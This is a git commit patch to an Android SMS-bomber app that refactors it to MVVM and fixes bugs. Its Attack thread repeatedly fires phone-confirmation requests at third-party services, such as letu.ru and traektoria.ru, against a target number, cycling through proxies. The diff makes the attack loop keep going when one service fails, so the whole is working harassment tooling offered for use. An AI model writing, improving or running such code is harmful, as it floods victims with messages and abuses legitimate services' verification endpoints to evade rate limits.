From bb7fffdf2bc0724ac93c48f2e364426abdb7590e Mon Sep 17 00:00:00 2001 From: dmitrijkotov634 Date: Sat, 18 Dec 2021 14:14:34 +0300 Subject: [PATCH] feat: migration to mvvm, bug fixes --- app/release/output-metadata.json | 4 +- app/src/main/AndroidManifest.xml | 2 +- .../java/com/dm/bomber/bomber/Attack.java | 40 +++--- .../java/com/dm/bomber/bomber/Callback.java | 2 +- .../java/com/dm/bomber/services/Services.java | 4 +- .../java/com/dm/bomber/ui/MainActivity.java | 116 +++++++----------- .../java/com/dm/bomber/ui/MainViewModel.java | 102 +++++++++++++-- app/src/main/res/layout/dialog_settings.xml | 4 +- 8 files changed, 165 insertions(+), 109 deletions(-) diff --git a/app/release/output-metadata.json b/app/release/output-metadata.json index b57d178..6c63fe6 100644 --- a/app/release/output-metadata.json +++ b/app/release/output-metadata.json @@ -11,8 +11,8 @@ "type": "SINGLE", "filters": [], "attributes": [], - "versionCode": 9, - "versionName": "1.6", + "versionCode": 10, + "versionName": "1.7", "outputFile": "app-release.apk" } ], diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index 3a17b22..32a2446 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -17,7 +17,7 @@ + android:screenOrientation="fullSensor"> diff --git a/app/src/main/java/com/dm/bomber/bomber/Attack.java b/app/src/main/java/com/dm/bomber/bomber/Attack.java index defc56e..bf258bc 100644 --- a/app/src/main/java/com/dm/bomber/bomber/Attack.java +++ b/app/src/main/java/com/dm/bomber/bomber/Attack.java @@ -43,9 +43,9 @@ public class Attack extends Thread { public Attack(Callback callback, String phoneCode, String phone, int cycles, List proxies) { super(phone); + this.callback = callback; this.phoneCode = phoneCode; this.phone = phone; - this.callback = callback; this.proxies = proxies; numberOfCycles = cycles; @@ -60,17 +60,17 @@ public void run() { clientBuilder.proxy(null); - try { - for (int cycle = 0; cycle < numberOfCycles; cycle++) { - if (!proxies.isEmpty()) - clientBuilder.proxy(proxies.get(cycle % proxies.size())); + for (int cycle = 0; cycle < numberOfCycles; cycle++) { + if (!proxies.isEmpty()) + clientBuilder.proxy(proxies.get(cycle % proxies.size())); - OkHttpClient client = clientBuilder.build(); + OkHttpClient client = clientBuilder.build(); - Log.i(TAG, String.format("Started cycle %s", cycle)); - tasks = new CountDownLatch(usableServices.size()); + Log.i(TAG, String.format("Started cycle %s", cycle)); + tasks = new CountDownLatch(usableServices.size()); - for (Service service : usableServices) { + for (Service service : usableServices) { + try { service.prepare(phoneCode, phone); service.run(client, new com.dm.bomber.services.Callback() { @Override @@ -90,21 +90,19 @@ public void onResponse(@NotNull Call call, @NotNull Response response) { callback.onProgressChange(progress++); } }); - } - - try { - tasks.await(); - } catch (InterruptedException e) { - break; + } catch (StringIndexOutOfBoundsException e) { + Log.w(TAG, String.format("%s could not process the number", service.getClass().getName())); } } - callback.onAttackEnd(true); - } catch (StringIndexOutOfBoundsException e) { - Log.i(TAG, "Invalid number format"); - callback.onAttackEnd(false); - } finally { - Log.i(TAG, String.format("Attack on +%s%s ended", phoneCode, phone)); + try { + tasks.await(); + } catch (InterruptedException e) { + break; + } } + + callback.onAttackEnd(); + Log.i(TAG, String.format("Attack on +%s%s ended", phoneCode, phone)); } } diff --git a/app/src/main/java/com/dm/bomber/bomber/Callback.java b/app/src/main/java/com/dm/bomber/bomber/Callback.java index 8cf2fd5..02f2503 100644 --- a/app/src/main/java/com/dm/bomber/bomber/Callback.java +++ b/app/src/main/java/com/dm/bomber/bomber/Callback.java @@ -1,7 +1,7 @@ package com.dm.bomber.bomber; public interface Callback { - void onAttackEnd(boolean success); + void onAttackEnd(); void onAttackStart(int serviceCount, int numberOfCycles); diff --git a/app/src/main/java/com/dm/bomber/services/Services.java b/app/src/main/java/com/dm/bomber/services/Services.java index cb082d4..a407665 100644 --- a/app/src/main/java/com/dm/bomber/services/Services.java +++ b/app/src/main/java/com/dm/bomber/services/Services.java @@ -324,7 +324,7 @@ public String buildJson() { } }, - new JsonService("https://www.letu.ru/s/api/user/account/v1/confirmations/phone?pushSite=storeMobileRU") { + new JsonService("https://www.letu.ru/s/api/user/account/v1/confirmations/phone?pushSite=storeMobileRU", 7) { @Override public String buildJson() { JSONObject json = new JSONObject(); @@ -380,7 +380,7 @@ public void buildParams(HttpUrl.Builder builder) { } }, - new FormService("https://www.traektoria.ru/local/ajax/authorize.php?action=2") { + new FormService("https://www.traektoria.ru/local/ajax/authorize.php?action=2", 7) { @Override public void buildBody(FormBody.Builder builder) { builder.add("phone", getFormattedPhone()); diff --git a/app/src/main/java/com/dm/bomber/ui/MainActivity.java b/app/src/main/java/com/dm/bomber/ui/MainActivity.java index 6bb1f2d..e5b2b2d 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainActivity.java +++ b/app/src/main/java/com/dm/bomber/ui/MainActivity.java @@ -19,9 +19,6 @@ import com.dm.bomber.MainRepository; import com.dm.bomber.R; -import com.dm.bomber.bomber.Attack; -import com.dm.bomber.bomber.Bomber; -import com.dm.bomber.bomber.Callback; import com.dm.bomber.databinding.ActivityMainBinding; import com.dm.bomber.databinding.DialogProxiesBinding; import com.dm.bomber.databinding.DialogSettingsBinding; @@ -29,20 +26,15 @@ import com.google.android.material.dialog.MaterialAlertDialogBuilder; import com.google.android.material.snackbar.Snackbar; -import java.util.ArrayList; - import jp.wasabeef.blurry.Blurry; -public class MainActivity extends AppCompatActivity implements Callback { +public class MainActivity extends AppCompatActivity { private ActivityMainBinding mainBinding; private DialogSettingsBinding settingsBinding; - private MainViewModel model; - private Attack attack; + private MainViewModel model; private MainRepository repository; - private final String[] phoneCodes = {"7", "380", ""}; - private String clipText; @Override @@ -76,8 +68,17 @@ protected void onCreate(Bundle savedInstanceState) { .show(); }); - model.isBlurEnabled().observe(this, enabled -> { - if (enabled) { + model.isProxyEnabled().observe(this, enabled -> settingsBinding.proxyTile.setChecked(enabled)); + model.getSelectedTheme().observe(this, theme -> { + AppCompatDelegate.setDefaultNightMode(theme); + settingsBinding.themeTile.setChecked((getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK) == Configuration.UI_MODE_NIGHT_YES); + }); + + model.getCurrentProgress().observe(this, progress -> mainBinding.progress.setProgress(progress)); + model.getMaxProgress().observe(this, maxProgress -> mainBinding.progress.setMax(maxProgress)); + + model.getAttackStatus().observe(this, attackStatus -> { + if (attackStatus) { mainBinding.main.getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() { @Override public void onGlobalLayout() { @@ -86,23 +87,30 @@ public void onGlobalLayout() { .sampling(1) .async() .capture(mainBinding.main) - .into(mainBinding.blur); + .getAsync(bitmap -> { + mainBinding.blur.setImageBitmap(bitmap); - mainBinding.blur.setVisibility(View.VISIBLE); - mainBinding.main.setVisibility(View.INVISIBLE); + mainBinding.blur.setVisibility(View.VISIBLE); + mainBinding.main.setVisibility(View.INVISIBLE); + + mainBinding.attack.setVisibility(View.VISIBLE); + }); mainBinding.main.getViewTreeObserver().removeOnGlobalLayoutListener(this); } }); + + mainBinding.main.requestLayout(); } else { mainBinding.main.setVisibility(View.VISIBLE); mainBinding.blur.setVisibility(View.GONE); + mainBinding.attack.setVisibility(View.GONE); } }); CountryCodeAdapter adapter = new CountryCodeAdapter(this, new int[]{R.drawable.ic_ru, R.drawable.ic_uk, R.drawable.ic_all}, - phoneCodes); + MainViewModel.phoneCodes); String[] hints = getResources().getStringArray(R.array.hints); mainBinding.phoneNumber.setHint(hints[0]); @@ -122,6 +130,9 @@ public void onNothingSelected(AdapterView adapterView) { }); mainBinding.startAttack.setOnClickListener(view -> { + InputMethodManager input = (InputMethodManager) getSystemService(INPUT_METHOD_SERVICE); + input.hideSoftInputFromWindow(mainBinding.getRoot().getWindowToken(), 0); + String phoneNumber = mainBinding.phoneNumber.getText().toString(); String numberOfCycles = mainBinding.cyclesCount.getText().toString(); @@ -132,11 +143,7 @@ public void onNothingSelected(AdapterView adapterView) { int numberOfCyclesNum = numberOfCycles.isEmpty() ? 1 : Integer.parseInt(numberOfCycles); - if (!Bomber.isAlive(attack)) { - attack = new Attack(this, phoneCodes[mainBinding.phoneCode.getSelectedItemPosition()], - phoneNumber, numberOfCyclesNum, repository.isProxyEnabled() ? repository.getProxy() : new ArrayList<>()); - attack.start(); - } + model.startAttack(mainBinding.phoneCode.getSelectedItemPosition(), phoneNumber, numberOfCyclesNum); }); mainBinding.bomb.setOnClickListener(view -> view.animate() @@ -170,10 +177,10 @@ public void onAnimationEnd(Animator animation) { clipText = "+7" + clipText.substring(1); clipText = clipText.substring(1); - for (int i = 0; i < phoneCodes.length; i++) { - if (clipText.startsWith(phoneCodes[i])) { + for (int i = 0; i < MainViewModel.phoneCodes.length; i++) { + if (clipText.startsWith(MainViewModel.phoneCodes[i])) { mainBinding.phoneCode.setSelection(i); - mainBinding.phoneNumber.setText(clipText.substring(phoneCodes[i].length()).replaceAll("[^\\d.]", "")); + mainBinding.phoneNumber.setText(clipText.substring(MainViewModel.phoneCodes[i].length()).replaceAll("[^\\d.]", "")); break; } @@ -188,22 +195,25 @@ public void onAnimationEnd(Animator animation) { mainBinding.openMenu.setOnClickListener(view -> settings.show()); - settingsBinding.appThemeTile.setOnClickListener(view -> { - int mode = settingsBinding.appThemeTile.isChecked() ? AppCompatDelegate.MODE_NIGHT_YES : AppCompatDelegate.MODE_NIGHT_NO; + settingsBinding.themeTile.setOnClickListener(view -> { + settings.cancel(); - repository.setTheme(mode); - AppCompatDelegate.setDefaultNightMode(mode); + int mode = settingsBinding.themeTile.isChecked() ? AppCompatDelegate.MODE_NIGHT_YES : AppCompatDelegate.MODE_NIGHT_NO; + + model.setTheme(mode); }); - settingsBinding.appThemeTile.setOnLongClickListener(view -> { - repository.setTheme(AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM); - AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM); + settingsBinding.themeTile.setOnLongClickListener(view -> { + settings.cancel(); + model.setTheme(AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM); return true; }); - settingsBinding.proxyTile.setChecked(repository.isProxyEnabled()); settingsBinding.proxyTile.setOnCheckedChangeListener((button, checked) -> { + if (!button.isPressed()) + return; + if (checked) { BottomSheetDialog proxy = new BottomSheetDialog(this); @@ -226,11 +236,10 @@ public void onAnimationEnd(Animator animation) { settings.cancel(); } - repository.setProxyEnabled(checked); + model.setProxyEnabled(checked); }); settingsBinding.donateTile.setOnClickListener(view -> startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("https://qiwi.com/n/PHOSS105")))); - settingsBinding.appThemeTile.setChecked((getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK) == Configuration.UI_MODE_NIGHT_YES); int lastPhoneCode = repository.getLastPhoneCode(); if (lastPhoneCode > 2) @@ -250,46 +259,9 @@ public void onWindowFocusChanged(boolean hasFocus) { } } - @Override - public void onAttackEnd(boolean success) { - runOnUiThread(() -> { - mainBinding.attack.setVisibility(View.GONE); - model.setBlurEnabled(false); - }); - - if (success) { - repository.setLastPhoneCode(mainBinding.phoneCode.getSelectedItemPosition()); - repository.setLastPhone(mainBinding.phoneNumber.getText().toString()); - } else { - Snackbar.make(mainBinding.main, R.string.phone_error, Snackbar.LENGTH_LONG).show(); - } - } - - @Override - public void onAttackStart(int serviceCount, int numberOfCycles) { - runOnUiThread(() -> { - InputMethodManager input = (InputMethodManager) getSystemService(INPUT_METHOD_SERVICE); - input.hideSoftInputFromWindow(mainBinding.getRoot().getWindowToken(), 0); - - mainBinding.progress.setMax(serviceCount * numberOfCycles); - mainBinding.progress.setProgress(0); - - mainBinding.attack.setVisibility(View.VISIBLE); - - model.setBlurEnabled(true); - }); - } - - @Override - public void onProgressChange(int progress) { - runOnUiThread(() -> mainBinding.progress.setProgress(progress)); - } - @Override public void onBackPressed() { - if (Bomber.isAlive(attack)) - attack.interrupt(); - else + if (!model.stopAttack()) super.onBackPressed(); } } \ No newline at end of file diff --git a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java index a11279d..230f6d7 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java +++ b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java @@ -5,18 +5,55 @@ import androidx.lifecycle.ViewModel; import com.dm.bomber.MainRepository; +import com.dm.bomber.bomber.Attack; +import com.dm.bomber.bomber.Callback; -public class MainViewModel extends ViewModel { +import java.util.ArrayList; + +public class MainViewModel extends ViewModel implements Callback { private final MainRepository repository; + private Attack attack; + + private int countryCode; + private String phoneNumber; + private MutableLiveData snowfallEnabled; - private MutableLiveData blurEnabled; + private MutableLiveData proxyEnabled; + private MutableLiveData selectedTheme; private MutableLiveData promotionShown; + private MutableLiveData currentProgress; + private MutableLiveData maxProgress; + private MutableLiveData attackStatus; + + public static final String[] phoneCodes = {"7", "380", ""}; + public MainViewModel(MainRepository preferences) { this.repository = preferences; } + @Override + public void onAttackEnd() { + attackStatus.postValue(false); + + repository.setLastPhoneCode(countryCode); + repository.setLastPhone(phoneNumber); + } + + @Override + public void onAttackStart(int serviceCount, int numberOfCycles) { + attackStatus.postValue(true); + + maxProgress.postValue(serviceCount * numberOfCycles); + currentProgress.postValue(0); + } + + @Override + public void onProgressChange(int progress) { + currentProgress.postValue(progress); + } + public void enableSnowfall() { snowfallEnabled.setValue(true); } @@ -29,8 +66,29 @@ public void closePromotion() { repository.setPromotionShown(true); } - public void setBlurEnabled(boolean enabled) { - blurEnabled.setValue(enabled); + public void setProxyEnabled(boolean enabled) { + repository.setProxyEnabled(enabled); + proxyEnabled.setValue(enabled); + } + + public void setTheme(int theme) { + repository.setTheme(theme); + selectedTheme.setValue(theme); + } + + public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesNum) { + this.countryCode = countryCode; + this.phoneNumber = phoneNumber; + + attack = new Attack(this, phoneCodes[countryCode], phoneNumber, numberOfCyclesNum, + repository.isProxyEnabled() ? repository.getProxy() : new ArrayList<>()); + + attack.start(); + } + + public Boolean stopAttack() { + attack.interrupt(); + return attackStatus.getValue(); } public LiveData isSnowfallEnabled() { @@ -47,10 +105,38 @@ public LiveData isPromotionShown() { return promotionShown; } - public LiveData isBlurEnabled() { - if (blurEnabled == null) - blurEnabled = new MutableLiveData<>(false); + public LiveData isProxyEnabled() { + if (proxyEnabled == null) + proxyEnabled = new MutableLiveData<>(repository.isProxyEnabled()); + + return proxyEnabled; + } + + public LiveData getSelectedTheme() { + if (selectedTheme == null) + selectedTheme = new MutableLiveData<>(repository.getTheme()); + + return selectedTheme; + } + + public LiveData getCurrentProgress() { + if (currentProgress == null) + currentProgress = new MutableLiveData<>(0); + + return currentProgress; + } + + public LiveData getMaxProgress() { + if (maxProgress == null) + maxProgress = new MutableLiveData<>(0); + + return maxProgress; + } + + public LiveData getAttackStatus() { + if (attackStatus == null) + attackStatus = new MutableLiveData<>(false); - return blurEnabled; + return attackStatus; } } diff --git a/app/src/main/res/layout/dialog_settings.xml b/app/src/main/res/layout/dialog_settings.xml index d053d39..94f9e9a 100644 --- a/app/src/main/res/layout/dialog_settings.xml +++ b/app/src/main/res/layout/dialog_settings.xml @@ -6,7 +6,7 @@ android:padding="8dp"> @@ -32,7 +32,7 @@ android:id="@+id/flow" android:layout_width="0dp" android:layout_height="wrap_content" - app:constraint_referenced_ids="app_theme_tile,donate_tile,proxy_tile,placeholder" + app:constraint_referenced_ids="theme_tile,donate_tile,proxy_tile,placeholder" app:flow_horizontalGap="8dp" app:flow_maxElementsWrap="2" app:flow_verticalGap="8dp"